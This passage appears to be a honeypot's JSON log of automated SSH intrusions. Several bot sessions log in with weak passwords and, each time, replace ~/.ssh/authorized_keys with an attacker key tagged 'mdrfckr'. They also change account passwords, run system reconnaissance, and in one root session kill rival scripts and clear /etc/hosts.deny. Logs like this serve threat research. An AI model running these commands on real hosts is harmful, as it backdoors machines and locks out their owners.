$2;}'"},{"seq":32,"at":"2026-08-27T11:07:13.839265+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Xc123456","method":"password","accepted":true,"tier":"other"}]} {"id":"1a2b8542-1f42-4ca1-8cf9-960379fe54f9","name":"candid-lucid-goose","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":54274,"username":"omni","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:06:08.039876+00:00","ended_at":"2026-08-27T11:06:09.411603+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2069,"events":[{"seq":1,"at":"2026-08-27T11:05:49.661217+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:05:49.921191+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:05:54.353711+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:05:55.158685+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:05:55.425827+00:00","kind":"input","latency_ms":null,"data":"echo -e \"omni\\nOOssjOPW0RBn\\nOOssjOPW0RBn\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:05:55.695147+00:00","kind":"input","latency_ms":null,"data":"echo \"omni\\nOOssjOPW0RBn\\nOOssjOPW0RBn\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:05:55.955821+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:05:56.393945+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:05:56.658592+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:05:57.680621+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:05:57.946517+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:05:59.150270+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:05:59.416069+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:05:59.694528+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:05:59.958401+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:06:00.415171+00:00","kind":"output","latency_ms":null,"data":" 11:06:00 up 7 days, 7:56, 0 user, load average: 0.17, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:06:00.678989+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:06:01.387762+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:06:01.653097+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:06:02.444928+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:06:02.709451+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:06:03.596065+00:00","kind":"output","latency_ms":null,"data":"top - 11:06:03 up 7 days, 7:56, 0 user, load average: 0.17, 0.15, 0.1\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:06:03.861412+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:06:04.513037+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:06:04.776251+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:06:05.604844+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:06:05.868398+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:06:06.547388+00:00","kind":"output","latency_ms":null,"data":"omni"},{"seq":29,"at":"2026-08-27T11:06:06.811826+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:06:07.776259+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:06:08.040909+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:06:09.335630+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"omni","password":"omni","method":"password","accepted":true,"tier":"other"}]} {"id":"33ab2b22-eb26-47c3-88a8-dfa1c7ba5976","name":"wry-woven-mink","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58808,"username":"talha","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":444,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:04:33.095156+00:00","ended_at":"2026-08-27T11:04:34.570908+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2083,"events":[{"seq":1,"at":"2026-08-27T11:04:12.198714+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:04:12.640098+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:04:17.283517+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:04:17.697199+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:04:18.139957+00:00","kind":"input","latency_ms":null,"data":"echo -e \"talha\\nRiv10woPtGyj\\nRiv10woPtGyj\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:04:18.581056+00:00","kind":"input","latency_ms":null,"data":"echo \"talha\\nRiv10woPtGyj\\nRiv10woPtGyj\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:04:19.023109+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:04:19.751221+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:04:20.200145+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:04:21.387378+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:04:21.835262+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:04:22.707594+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:04:23.152134+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:04:23.878116+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:04:24.320068+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:04:25.030551+00:00","kind":"output","latency_ms":null,"data":" 11:04:25 up 7 days, 7:54, 0 user, load average: 0.1, 0.11, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:04:25.471811+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:04:26.154144+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:04:26.596603+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:04:27.486090+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:04:27.929786+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:04:28.571531+00:00","kind":"output","latency_ms":null,"data":"top - 11:04:28 up 7 days, 7:54, 0 user, load average: 0.1, 0.11, 0.07\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:04:29.015453+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:04:29.280694+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:04:29.736195+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:04:30.230231+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:04:30.677762+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:04:31.252190+00:00","kind":"output","latency_ms":null,"data":"talha"},{"seq":29,"at":"2026-08-27T11:04:31.698410+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:04:32.654108+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:04:33.095712+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:04:34.436539+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"talha","password":"talha","method":"password","accepted":true,"tier":"other"}]} {"id":"e55a5425-53b1-4040-9d4e-3fe62324749d","name":"burly-sturdy-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":54118,"username":"dockeruser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":761,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:04:17.340805+00:00","ended_at":"2026-08-27T11:04:18.702216+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2096,"events":[{"seq":1,"at":"2026-08-27T11:03:49.773826+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:03:50.530932+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:03:56.804487+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:03:57.306325+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:03:58.068490+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nsJZRN1IIv11v\\nsJZRN1IIv11v\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:03:58.831092+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nsJZRN1IIv11v\\nsJZRN1IIv11v\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:03:59.600671+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:04:00.245893+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:04:01.005781+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:04:02.144650+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:04:02.914774+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:04:04.028554+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:04:04.801030+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:04:05.334555+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:04:06.093191+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:04:06.793911+00:00","kind":"output","latency_ms":null,"data":" 11:04:06 up 7 days, 7:54, 0 user, load average: 0.28, 0.27, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:04:07.551800+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:04:08.145382+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:04:08.940933+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:04:09.437090+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:04:10.208610+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:04:10.928065+00:00","kind":"output","latency_ms":null,"data":"top - 11:04:10 up 7 days, 7:54, 0 user, load average: 0.28, 0.27, 0.25\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:04:11.689258+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:04:12.238145+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:04:12.997122+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:04:13.426392+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:04:14.189207+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:04:14.744614+00:00","kind":"output","latency_ms":null,"data":"dockeruser"},{"seq":29,"at":"2026-08-27T11:04:15.502465+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:04:16.587158+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:04:17.343152+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:04:18.458133+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dockeruser","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"46d56f95-b821-4afb-8d34-210d96db9b95","name":"wandering-bitter-gibbon","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55534,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:03:57.440172+00:00","ended_at":"2026-08-27T11:03:58.593009+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T11:03:43.785112+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:03:44.051087+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:03:48.221574+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:03:48.222067+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:03:48.485260+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ojfteXT9e1lE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:03:48.747959+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:03:49.011546+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:03:49.012087+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:03:49.277869+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:03:49.798736+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:03:50.069732+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:03:50.542029+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:03:50.807909+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:03:50.808680+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:03:51.075157+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:03:51.077293+00:00","kind":"output","latency_ms":null,"data":" 11:03:51 up 7 days, 7:53, 0 user, load average: 0.14, 0.14, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:03:51.338560+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:03:51.851660+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:03:52.115883+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:03:52.679427+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:03:52.946297+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:03:53.401938+00:00","kind":"output","latency_ms":null,"data":"top - 11:03:53 up 7 days, 7:54, 0 user, load average: 0.14, 0.14, 0.09\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:03:53.668456+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:03:54.176499+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:03:54.439116+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:03:54.934187+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:03:55.199384+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:03:55.677156+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:03:55.944326+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:03:57.175845+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:03:57.440955+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:03:58.515346+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"test@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"9598293c-4e4b-4588-8ea4-83ce83aaed8c","name":"rugged-cobalt-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58780,"username":"manish","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":459,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:01:52.129387+00:00","ended_at":"2026-08-27T11:01:53.090909+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2079,"events":[{"seq":1,"at":"2026-08-27T11:01:32.579707+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:01:33.045657+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:01:37.146511+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:01:37.453108+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:01:37.912156+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\npxKpWzmcLu1f\\npxKpWzmcLu1f\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:01:38.373277+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\npxKpWzmcLu1f\\npxKpWzmcLu1f\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:01:38.828700+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:01:39.594510+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:01:40.048608+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:01:41.111902+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:01:41.573659+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 